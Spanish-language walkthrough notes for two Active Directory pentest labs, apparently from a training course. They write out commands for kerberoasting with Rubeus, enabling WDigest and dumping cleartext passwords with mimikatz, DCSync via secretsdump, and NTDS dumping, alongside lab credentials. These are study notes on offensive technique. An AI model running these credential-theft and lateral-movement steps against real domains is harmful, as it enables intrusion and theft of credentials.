LABS

1º Lab

Empezamos con una web shell que usamos para enviarnos una reverse shell por el puerto 2222. Hacemos interactiva la tty con Invoke-ConPtyShell.ps1 y conseguimos una powershell interactiva. Con ella usamos SharpHound para recolectar datos del dominio:

.\Sharphound.exe -c all

Lo pasamos a BloodHound, vemos usuarios kerberoasteables y sacamos los tickets con Rubeus:

.\Rubeus.exe kerberoast /tgtdeleg /nowrap

Crackeamos los hashes y sacamos sql_svc:lucky7. Con ligolo-ng escaneamos las redes y encontramos MS01 (172.16.6.50). Reutilizando credenciales nos conectamos:

$Creds = New-Object System.Management.Automation.PSCredential ("DOMAIN\Usuario", (ConvertTo-SecureString "Password" -AsPlainText -Force))
Enter-PSSession -ComputerName MS01.INLANEFREIGHT.LOCAL -Credential $Creds

En MS01 sacamos contraseñas en texto claro con lazagne o mimikatz. Para que mimikatz muestre texto claro hay que activar WDigest:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
# tras reinicio/relogin
sekurlsa::wdigest

El usuario con la contraseña tiene permisos de DCSync, así que con secretsdump dumpeamos todos los hashes:

secretsdump dc01.inlanefreight.local/tpetty:Sup3rS3cur3D0m@inU2eR@172.16.6.3

2º Lab

Equipos: SQL01 (172.16.7.60, MSSQL 2019), MS01 (172.16.7.50), DC01 (172.16.7.3).

• Usamos responder en la máquina ssh, obtenemos usuario + hash, lo crackeamos.
• Password spraying → usuario br086 con welcome1.
• Reutilizando contraseñas y enumerando SMB encontramos un .config con la base de datos (usuario y pass) y nos conectamos a la otra máquina.
• Tiene permisos de xp_cmdshell; subimos privs con SeImpersonate y volvemos a usar responder (inveigh en Windows) para otro usuario con todos los permisos, y dumpeamos NTDS.